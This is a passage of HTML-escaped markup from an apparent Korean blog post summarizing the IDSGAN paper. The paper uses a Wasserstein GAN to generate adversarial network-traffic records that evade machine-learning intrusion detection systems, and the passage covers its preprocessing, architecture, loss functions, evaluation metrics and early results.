/&gt;그러나&amp;nbsp;이러한&amp;nbsp;ML을&amp;nbsp;활용한&amp;nbsp;IDS들은&amp;nbsp;adversarial&amp;nbsp;attack에&amp;nbsp;무방비&amp;nbsp;상태이다.&amp;nbsp;따라서&amp;nbsp;본&amp;nbsp;논문에서는&amp;nbsp;IDSGAN이라&amp;nbsp;불리는&amp;nbsp;adversarial&amp;nbsp;attack에&amp;nbsp;대응할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;프레임워크를&amp;nbsp;제안하고자&amp;nbsp;한다.&amp;nbsp;IDSGAN에&amp;nbsp;사용된&amp;nbsp;GAN&amp;nbsp;모델은&amp;nbsp;보다&amp;nbsp;안정된&amp;nbsp;학습과&amp;nbsp;좋은&amp;nbsp;성능을&amp;nbsp;내는&amp;nbsp;Wasserstein&amp;nbsp;GAN을&amp;nbsp;사용하게&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Generator는&amp;nbsp;adversarial&amp;nbsp;malicious&amp;nbsp;traffic&amp;nbsp;records를&amp;nbsp;생성하게&amp;nbsp;되고,&amp;nbsp;이렇게&amp;nbsp;생성된&amp;nbsp;records를&amp;nbsp;바탕으로&amp;nbsp;black-box&amp;nbsp;IDS&amp;nbsp;시스템의&amp;nbsp;취약점을&amp;nbsp;보완하는&amp;nbsp;과정이&amp;nbsp;진행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2. Proposed Method&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;2.1. Dataset: NSL-KDD dataset description&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;네트워크&amp;nbsp;트래픽&amp;nbsp;record가&amp;nbsp;담겨있는&amp;nbsp;NSL-KDD&amp;nbsp;데이터셋을&amp;nbsp;사용했으며,&amp;nbsp;해당&amp;nbsp;데이터셋에는&amp;nbsp;9개의&amp;nbsp;discrete&amp;nbsp;values와&amp;nbsp;32개의&amp;nbsp;continuous&amp;nbsp;values로&amp;nbsp;구성되어있다. &lt;br /&gt;또한&amp;nbsp;각&amp;nbsp;record&amp;nbsp;들은&amp;nbsp;[그림&amp;nbsp;1]과&amp;nbsp;같이&amp;nbsp;Intrinsic,&amp;nbsp;Content,&amp;nbsp;Time-based&amp;nbsp;traffic,&amp;nbsp;Host-based&amp;nbsp;traffic,&amp;nbsp;Label&amp;nbsp;로&amp;nbsp;구성되어있다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1175&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cN54MN/btrwn5pFl8w/uLyHMnWVUSPsxDkmfIQQAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cN54MN/btrwn5pFl8w/uLyHMnWVUSPsxDkmfIQQAK/img.png&quot; data-alt=&quot;[그림 1] structure of record&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cN54MN/btrwn5pFl8w/uLyHMnWVUSPsxDkmfIQQAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcN54MN%2Fbtrwn5pFl8w%2FuLyHMnWVUSPsxDkmfIQQAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;644&quot; height=&quot;164&quot; data-origin-width=&quot;1175&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] structure of record&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;2.2.&amp;nbsp;Data&amp;nbsp;preprocessing&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;모델에&amp;nbsp;데이터를&amp;nbsp;먹이기&amp;nbsp;전에,&amp;nbsp;category&amp;nbsp;데이터의&amp;nbsp;numeric&amp;nbsp;conversion이나&amp;nbsp;normalization&amp;nbsp;등의&amp;nbsp;전처리&amp;nbsp;과정이&amp;nbsp;필요하다. &lt;br /&gt;9가지&amp;nbsp;discrete&amp;nbsp;feature중,&amp;nbsp;3개는&amp;nbsp;non-numeric&amp;nbsp;value이고&amp;nbsp;나머지&amp;nbsp;6개는&amp;nbsp;0&amp;nbsp;or&amp;nbsp;1의&amp;nbsp;binary&amp;nbsp;value이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;non-numeric&amp;nbsp;value&amp;nbsp;(예를들어&amp;nbsp;TCP&amp;nbsp;/&amp;nbsp;UDP&amp;nbsp;/&amp;nbsp;ICMP)&amp;nbsp;들은&amp;nbsp;numeric&amp;nbsp;value로&amp;nbsp;변환해주는&amp;nbsp;one-hot&amp;nbsp;encoding&amp;nbsp;과정을&amp;nbsp;거친다. &lt;br /&gt;input&amp;nbsp;벡터의&amp;nbsp;feature&amp;nbsp;값의&amp;nbsp;dimensional&amp;nbsp;impact를&amp;nbsp;줄여주기&amp;nbsp;위해서&amp;nbsp;전체적인&amp;nbsp;scalar&amp;nbsp;값들을&amp;nbsp;noramlization해주는&amp;nbsp;과정이&amp;nbsp;필요하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서&amp;nbsp;전체&amp;nbsp;numeric한&amp;nbsp;discrete&amp;nbsp;/&amp;nbsp;continuous&amp;nbsp;features에&amp;nbsp;대하여&amp;nbsp;Min-Max&amp;nbsp;normalization을&amp;nbsp;진행해주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;2.3.&amp;nbsp;Structure&amp;nbsp;of&amp;nbsp;IDSGAN&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;IDSGAN&amp;nbsp;프레임워크의&amp;nbsp;전체&amp;nbsp;구조는&amp;nbsp;[그림&amp;nbsp;2]와&amp;nbsp;같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1387&quot; data-origin-height=&quot;635&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nVbAr/btrwsIBg36D/VhucZNGhCbsCeTdmAIMnRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nVbAr/btrwsIBg36D/VhucZNGhCbsCeTdmAIMnRK/img.png&quot; data-alt=&quot;[그림 2] structure of IDSGAN&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nVbAr/btrwsIBg36D/VhucZNGhCbsCeTdmAIMnRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnVbAr%2FbtrwsIBg36D%2FVhucZNGhCbsCeTdmAIMnRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;616&quot; height=&quot;282&quot; data-origin-width=&quot;1387&quot; data-origin-height=&quot;635&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] structure of IDSGAN&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;GAN&amp;nbsp;모델의&amp;nbsp;non-convergence와&amp;nbsp;instability&amp;nbsp;를&amp;nbsp;극복하기&amp;nbsp;위해,&amp;nbsp;IDSGAN에서는&amp;nbsp;이를&amp;nbsp;해결할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;Wasserstein&amp;nbsp;GAN을&amp;nbsp;적용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한 본 논문에서는 Probe, Dos, U2R, R2L 공격기법에 대하여 각각 functional features를 [그림 3]과 같이 설정하였다. functional feature는 각 공격 카테고리에서 adversarial examples를 만들어낸다고 하더라도 바뀌지 않아야 할 feature 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1205&quot; data-origin-height=&quot;306&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpfATC/btrwzcuOc82/ReDKr4VnhVJLga1iQqlmBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpfATC/btrwzcuOc82/ReDKr4VnhVJLga1iQqlmBK/img.png&quot; data-alt=&quot;[그림 3] functional feature of attack category&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpfATC/btrwzcuOc82/ReDKr4VnhVJLga1iQqlmBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpfATC%2FbtrwzcuOc82%2FReDKr4VnhVJLga1iQqlmBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;597&quot; height=&quot;152&quot; data-origin-width=&quot;1205&quot; data-origin-height=&quot;306&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] functional feature of attack category&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이제&amp;nbsp;본격적으로&amp;nbsp;Generator를&amp;nbsp;살펴보자.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;original&amp;nbsp;example을&amp;nbsp;adversarial&amp;nbsp;example로&amp;nbsp;변환하기&amp;nbsp;위해서,&amp;nbsp;Generator는&amp;nbsp;Malicious&amp;nbsp;traffic&amp;nbsp;record와&amp;nbsp;noise를&amp;nbsp;input으로&amp;nbsp;받아&amp;nbsp;Adversarial&amp;nbsp;malicious&amp;nbsp;traffic&amp;nbsp;records를&amp;nbsp;output으로&amp;nbsp;뽑아내게&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Generator는&amp;nbsp;총&amp;nbsp;5개의&amp;nbsp;linear&amp;nbsp;layers로&amp;nbsp;구성되어&amp;nbsp;있으며,&amp;nbsp;activation&amp;nbsp;function으로는&amp;nbsp;ReLU&amp;nbsp;함수가&amp;nbsp;이용되었다.&amp;nbsp;추가적으로&amp;nbsp;앞서&amp;nbsp;전처리&amp;nbsp;과정에서&amp;nbsp;0~1&amp;nbsp;사이&amp;nbsp;값으로&amp;nbsp;normalization&amp;nbsp;해주었기&amp;nbsp;때문에,&amp;nbsp;생성&amp;nbsp;결과값이&amp;nbsp;0보다&amp;nbsp;작거나&amp;nbsp;1보다&amp;nbsp;큰경우&amp;nbsp;각각&amp;nbsp;0과&amp;nbsp;1로&amp;nbsp;처리해주었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한&amp;nbsp;functional&amp;nbsp;feature가&amp;nbsp;아닌&amp;nbsp;discrete&amp;nbsp;features들은&amp;nbsp;모두&amp;nbsp;값이&amp;nbsp;0&amp;nbsp;or&amp;nbsp;1이기&amp;nbsp;때문에&amp;nbsp;0.5를&amp;nbsp;threshold&amp;nbsp;로&amp;nbsp;잡고,&amp;nbsp;threshold보다&amp;nbsp;크면&amp;nbsp;1,&amp;nbsp;작으면&amp;nbsp;0으로&amp;nbsp;바꿔주는&amp;nbsp;일종의&amp;nbsp;트릭을&amp;nbsp;적용해주었다. &lt;br /&gt;&lt;br /&gt;다음으로&amp;nbsp;Discriminator를&amp;nbsp;살펴보자.&amp;nbsp;Discriminator의&amp;nbsp;목표는&amp;nbsp;black-box&amp;nbsp;IDS를&amp;nbsp;최대한으로&amp;nbsp;흉내내는&amp;nbsp;것이라고&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있다. &lt;br /&gt;우선&amp;nbsp;Generator가&amp;nbsp;생성한&amp;nbsp;Adversarial&amp;nbsp;malicious&amp;nbsp;traffic&amp;nbsp;record와&amp;nbsp;실제&amp;nbsp;데이터셋의&amp;nbsp;Normal&amp;nbsp;traffic&amp;nbsp;record를&amp;nbsp;black-box&amp;nbsp;IDS에&amp;nbsp;넣어&amp;nbsp;결과로&amp;nbsp;나온&amp;nbsp;output&amp;nbsp;값을&amp;nbsp;해당&amp;nbsp;record의&amp;nbsp;label로&amp;nbsp;설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이제&amp;nbsp;discriminator가&amp;nbsp;black-box&amp;nbsp;IDS를&amp;nbsp;흉내내기&amp;nbsp;위해,&amp;nbsp;Adversarial&amp;nbsp;malicious&amp;nbsp;traffic&amp;nbsp;records와&amp;nbsp;Normal&amp;nbsp;traffic&amp;nbsp;records를&amp;nbsp;이번에는&amp;nbsp;Discriminator에&amp;nbsp;Input으로&amp;nbsp;넣어주고,&amp;nbsp;앞서&amp;nbsp;black-box&amp;nbsp;IDS에서&amp;nbsp;나온&amp;nbsp;record의&amp;nbsp;label을&amp;nbsp;함께&amp;nbsp;Discriminator에&amp;nbsp;넣어줌으로써&amp;nbsp;Discriminator를&amp;nbsp;학습하게&amp;nbsp;된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이렇게&amp;nbsp;학습이&amp;nbsp;되는&amp;nbsp;과정에서&amp;nbsp;Discriminator의&amp;nbsp;loss에&amp;nbsp;따라&amp;nbsp;Discriminator와&amp;nbsp;Generator의&amp;nbsp;parameter가&amp;nbsp;조정될&amp;nbsp;것이고,&amp;nbsp;이를&amp;nbsp;통해&amp;nbsp;Generator는&amp;nbsp;보다&amp;nbsp;정교하고&amp;nbsp;그럴듯한&amp;nbsp;데이터를&amp;nbsp;생성해낼&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;되고,&amp;nbsp;Discriminator는&amp;nbsp;black-box&amp;nbsp;IDS&amp;nbsp;와&amp;nbsp;더&amp;nbsp;비슷해져갈&amp;nbsp;것이다. &lt;br /&gt;&lt;br /&gt;다음으로&amp;nbsp;Training&amp;nbsp;알고리즘을&amp;nbsp;살펴보도록&amp;nbsp;하자.&amp;nbsp;논문&amp;nbsp;상에는&amp;nbsp;정확하게&amp;nbsp;나와있지&amp;nbsp;않지만,&amp;nbsp;loss&amp;nbsp;function을&amp;nbsp;보고&amp;nbsp;추론해본&amp;nbsp;결과&amp;nbsp;malicious&amp;nbsp;record는&amp;nbsp;1로,&amp;nbsp;benign&amp;nbsp;record는&amp;nbsp;0으로&amp;nbsp;labeling&amp;nbsp;한&amp;nbsp;듯&amp;nbsp;하다. &lt;br /&gt;&lt;br /&gt;우선&amp;nbsp;Generator의&amp;nbsp;loss&amp;nbsp;function은&amp;nbsp;[그림&amp;nbsp;4]와&amp;nbsp;같다. &lt;br /&gt;Generator의 목적은 최대한 black-box IDS가 malcious record를 benign record로 착각하도록 만드는 것이고, Discriminator가 IDS를 흉내내고 있으므로, 결국 Discriminator가 malicious record를 benign record로 착각하도록 만드는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qVa7C/btrwDOmEyXb/LaHcxzVqTvt5Joj58FFse1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qVa7C/btrwDOmEyXb/LaHcxzVqTvt5Joj58FFse1/img.png&quot; data-alt=&quot;[그림 4] Loss function of Generator&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qVa7C/btrwDOmEyXb/LaHcxzVqTvt5Joj58FFse1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqVa7C%2FbtrwDOmEyXb%2FLaHcxzVqTvt5Joj58FFse1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;428&quot; height=&quot;96&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 4] Loss function of Generator&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 [그림 4]처럼 D(G(M, N))의 기댓값이 최대한 작아지는방향 (=Discriminator의 결과가 0인 방향 = Dicriminator가 benign으로 판단하는 방향)으로 학습이 진행되어야 한다. &lt;br /&gt;&lt;br /&gt;다음으로&amp;nbsp;Discriminator의&amp;nbsp;loss&amp;nbsp;function은&amp;nbsp;[그림&amp;nbsp;5]와&amp;nbsp;같다. &lt;br /&gt;Discriminator의&amp;nbsp;목적은&amp;nbsp;최대한&amp;nbsp;black-box&amp;nbsp;IDS를&amp;nbsp;흉내내는&amp;nbsp;것이고,&amp;nbsp;IDS는&amp;nbsp;benign&amp;nbsp;/&amp;nbsp;malicious&amp;nbsp;record를&amp;nbsp;올바르게&amp;nbsp;판단하는&amp;nbsp;것이기&amp;nbsp;때문에,&amp;nbsp;결국&amp;nbsp;Discriminator가&amp;nbsp;benign(normal)&amp;nbsp;record에&amp;nbsp;대해서는&amp;nbsp;0으로,&amp;nbsp;malicious(attack)&amp;nbsp;record에&amp;nbsp;대해서는&amp;nbsp;1로&amp;nbsp;판단하는&amp;nbsp;방향으로&amp;nbsp;학습이&amp;nbsp;진행되어야&amp;nbsp;한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이럴&amp;nbsp;경우&amp;nbsp;[그림&amp;nbsp;5]의&amp;nbsp;loss&amp;nbsp;function이&amp;nbsp;최소화&amp;nbsp;되는&amp;nbsp;방향으로&amp;nbsp;학습되어진다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;808&quot; data-origin-height=&quot;140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIQFeZ/btrwzcVTiFL/CVKEmUgdUtIOOKv8j39hb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIQFeZ/btrwzcVTiFL/CVKEmUgdUtIOOKv8j39hb1/img.png&quot; data-alt=&quot;[그림 5] Loss function of Discriminator&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIQFeZ/btrwzcVTiFL/CVKEmUgdUtIOOKv8j39hb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIQFeZ%2FbtrwzcVTiFL%2FCVKEmUgdUtIOOKv8j39hb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;484&quot; height=&quot;84&quot; data-origin-width=&quot;808&quot; data-origin-height=&quot;140&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 5] Loss function of Discriminator&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;Wassersteing&amp;nbsp;GAN에&amp;nbsp;의해&amp;nbsp;optimizer로는&amp;nbsp;RMSProp가&amp;nbsp;사용되었다.&amp;nbsp;전체적인&amp;nbsp;IDSGAN의&amp;nbsp;알고리즘은&amp;nbsp;[그림&amp;nbsp;6]과&amp;nbsp;같다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1616&quot; data-origin-height=&quot;1044&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8JDMO/btrwA6A6meM/iS149Mrdajvbxdjlp6HcVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8JDMO/btrwA6A6meM/iS149Mrdajvbxdjlp6HcVk/img.png&quot; data-alt=&quot;[그림 6] Algorithm of IDSGAN&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8JDMO/btrwA6A6meM/iS149Mrdajvbxdjlp6HcVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8JDMO%2FbtrwA6A6meM%2FiS149Mrdajvbxdjlp6HcVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;566&quot; height=&quot;365&quot; data-origin-width=&quot;1616&quot; data-origin-height=&quot;1044&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 6] Algorithm of IDSGAN&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3.&amp;nbsp;Experiments&amp;nbsp;and&amp;nbsp;Results&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실험을&amp;nbsp;위해&amp;nbsp;7가지&amp;nbsp;ML&amp;nbsp;모델&amp;nbsp;(SVM,&amp;nbsp;NB,&amp;nbsp;MLP,&amp;nbsp;LR,&amp;nbsp;DT,&amp;nbsp;RF,&amp;nbsp;KNN)을&amp;nbsp;IDS&amp;nbsp;로&amp;nbsp;구현하였으며,&amp;nbsp;GAN에는&amp;nbsp;noise&amp;nbsp;vector&amp;nbsp;로&amp;nbsp;9&amp;nbsp;dimension을&amp;nbsp;사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;IDSGAN을&amp;nbsp;평가하기&amp;nbsp;위한&amp;nbsp;metric으로는&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) detection rate (DR; malicious traffic을 얼마나 정확히 탐지하는가)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2)&amp;nbsp;evasion&amp;nbsp;increase&amp;nbsp;rate&amp;nbsp;(EIR;&amp;nbsp;원래는&amp;nbsp;malicious&amp;nbsp;하지만,&amp;nbsp;generator를&amp;nbsp;통해&amp;nbsp;adversarial&amp;nbsp;example로&amp;nbsp;생성되어&amp;nbsp;benign으로&amp;nbsp;오탐지된&amp;nbsp;비율&amp;nbsp;=&amp;nbsp;adversarial&amp;nbsp;attack이&amp;nbsp;얼마나&amp;nbsp;성공적인가)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두가지 metric을 사용하게 된다. 해당 metric의 수식은 [그림 7]과 같다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BFwge/btrwzc9qK6K/gQrB9ekKVVEzxnYrkcyQF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BFwge/btrwzc9qK6K/gQrB9ekKVVEzxnYrkcyQF1/img.png&quot; data-alt=&quot;[그림 7] DR &amp;amp;amp; EIR metric&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BFwge/btrwzc9qK6K/gQrB9ekKVVEzxnYrkcyQF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBFwge%2Fbtrwzc9qK6K%2FgQrB9ekKVVEzxnYrkcyQF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;211&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 7] DR &amp;amp; EIR metric&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;3.1.&amp;nbsp;Measurement&amp;nbsp;of&amp;nbsp;IDSGAN&amp;nbsp;in&amp;nbsp;different&amp;nbsp;attacks&lt;/b&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;detection&amp;nbsp;rate의&amp;nbsp;관점에서,&amp;nbsp;실험을&amp;nbsp;진행한&amp;nbsp;결과,&amp;nbsp;[그림&amp;nbsp;8]의&amp;nbsp;(a)&amp;nbsp;에서&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있듯이,&amp;nbsp;Dos&amp;nbsp;공격&amp;nbsp;카테고리의&amp;nbsp;경우&amp;nbsp;원래는&amp;nbsp;DR이&amp;nbsp;80%&amp;nbsp;언저리로&amp;nbsp;높게&amp;nbsp;나오던&amp;nbsp;지표가&amp;nbsp;IDSGAN을&amp;nbsp;통해&amp;nbsp;생성된&amp;nbsp;adversarial&amp;nbsp;examples에&amp;nbsp;대해서는&amp;nbsp;거의&amp;nbsp;0에&amp;nbsp;수렴하는&amp;nbsp;정확도를&amp;nbsp;보이고&amp;nbsp;있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
